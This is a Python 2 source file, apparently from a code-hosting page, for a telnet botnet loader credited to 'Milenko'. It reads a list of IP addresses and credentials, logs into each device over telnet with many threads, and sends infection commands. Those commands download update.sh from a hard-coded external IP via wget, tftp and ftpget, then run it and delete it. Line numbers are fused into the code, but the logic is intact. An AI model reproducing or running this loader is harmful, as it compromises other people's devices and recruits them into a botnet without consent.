Path: blob/master/Botnets/Scanning/TELNET/PY LOADER/anotherload.py
5038 views
#!/usr/bin/python1#Phaaaat hax telnet loader by Milenko23import sys, re, os, socket, time, select4from threading import Thread5from time import sleep67if len(sys.argv) < 2:8sys.exit("\033[37mUsage: python "+sys.argv[0]+" [vuln list]")910wget = "cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://185.10.68.196/update.sh -O update.sh; busybox wget http://185.10.68.196/update.sh -O update.sh; chmod 777 update.sh; sh update.sh; rm -rf update.sh" #wget command to send11tftp = "cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; tftp -r update.sh -g 185.10.68.196; busybox tftp -r update.sh -g 185.10.68.196; chmod 777 update.sh; sh update.sh; rm -rf update.sh" #tftp command to send12ftpget = "cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; ftpget -v -u anonymous -p anonymous -P 21 185.10.68.196 update.sh update.sh; busybox ftpget -v -u anonymous -p anonymous -P 21 185.10.68.196 update.sh update.sh; chmod 777 update.sh; sh update.sh; rm -rf update.sh"1314print "\033[31m"1516print "S-S-SUUUPER fast telnet loader by Milenko"1718#simply find and replace newlines to :: then a newline so every IP starts with ::. It will scan those for port 22 or whatever your skiddie heart desires </319print "Reads ip:port user:pass and simply checks the IP for port 23."20print "Then sends the infect to it and saves the working telnets to \"working.txt\""21print "It is VERY fast and extremely efficient."22print "As it splits the file into equal chunks for each thread!"2324threads = int(raw_input("Threads: "))2526lines = open(sys.argv[1],"r").readlines()2728global fh29fh = open("workingtelnet.txt","a+")3031def chunkify(lst,n):32return [ lst[i::n] for i in xrange(n) ]3334running = 03536global loaded37loaded = 038global rekt39rekt = []4041def printStatus():42global loaded43while 1:44sleep(30)45print "\033[32m[\033[31m+\033[32m] Total eye pees loaded: " + str(loaded) + "\033[37m"46if loaded >= 1000:47print "Dayum u got sum phat hax brah :^}"484950def readUntil(tn, advances, timeout=8):51buf = ''52start_time = time.time()53while time.time() - start_time < timeout:54buf += tn.recv(1024)55time.sleep(0.1)56for advance in advances:57if advance in buf: return buf58return ""5960def recvTimeout(sock, size, timeout=8):61sock.setblocking(0)62ready = select.select([sock], [], [], timeout)63if ready[0]:64data = sock.recv(size)65return data66return ""6768def contains(data, array):69for test in array:70if test in data:71return True72return False7374def infect(ip,username,password):75global rekdevice76global rekt77global loaded78global fh79try:80tn = socket.socket(socket.AF_INET, socket.SOCK_STREAM)81tn.settimeout(1)82tn.connect((ip, 23))83hoho = ''84hoho += readUntil(tn, ":")85if ":" in hoho:86tn.send(username + "\r\n")87time.sleep(0.2)88else:89return90hoho = ''91hoho += readUntil(tn, ":")92if ":" in hoho:93tn.send(password + "\r\n")94time.sleep(0.2)95prompt = ''96prompt += recvTimeout(tn, 40960)97if "#" in prompt or "$" in prompt or "~" in prompt or ">" in prompt or "root@" in prompt:98try:99tn.send("ls /\r\n")100time.sleep(1)101timeout = 8102buf = ''103start_time = time.time()104while time.time() - start_time < timeout:105buf += recvTimeout(tn, 40960)106time.sleep(0.1)107if "tmp" in buf and "unrecognized" not in buf:108tn.send(wget + "\r\n")109time.sleep(8)110tn.send(tftp + "\r\n")111time.sleep(8)112tn.send(ftpget + "\r\n")113time.sleep(8)114print "\033[32m[\033[31m+\033[32m] \033[33mINFECTED \033[31m-> \033[32m%s\033[37m:\033[33m%s\033[37m:\033[32m%s\033[37m"%(username, password, ip)115tn.close()116return117except:118tn.close()119else:120#auth failed121tn.close()122except Exception as e:123tn.close()124125def check(chunk, fh):126global running127global rekt128running += 1129threadID = running130for login in chunk:131try:132if login.split(":")[0] in rekt:133continue134if ":23 " in login:135login = login.replace(":23 ", ":")136if ":2323 " in login:137login = login.replace(":2323 ", ":")138s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)139s.settimeout(0.5)140s.connect((login.split(":")[0], 23))141s.close()142infect(login.split(":")[0], login.split(":")[1], login.split(":")[2])143except:144pass145print "\033[32m[\033[31m+\033[32m] Thread " + str(threadID) + " has finished scanning " + str(len(chunk)) + " IPs. Loaded: " + str(loaded)146running -= 1147148lines = map(lambda s: s.strip(), lines) # remove all newlines149150chunks = chunkify(lines, threads) # make seperate chunk for each thread151152print "STARTING SCAN AND LOAD!!!"153154Thread(target = printStatus, args = ()).start()155156for thread in xrange(0,threads):157if thread >= 384:158sleep(0.2)159try:160Thread(target = check, args = (chunks[thread], fh,)).start()161except:162pass163print "Scanning... Press enter 3 times to stop."164165for i in range(0,3):166raw_input()167168fh.close()169170os.kill(os.getpid(), 9)171172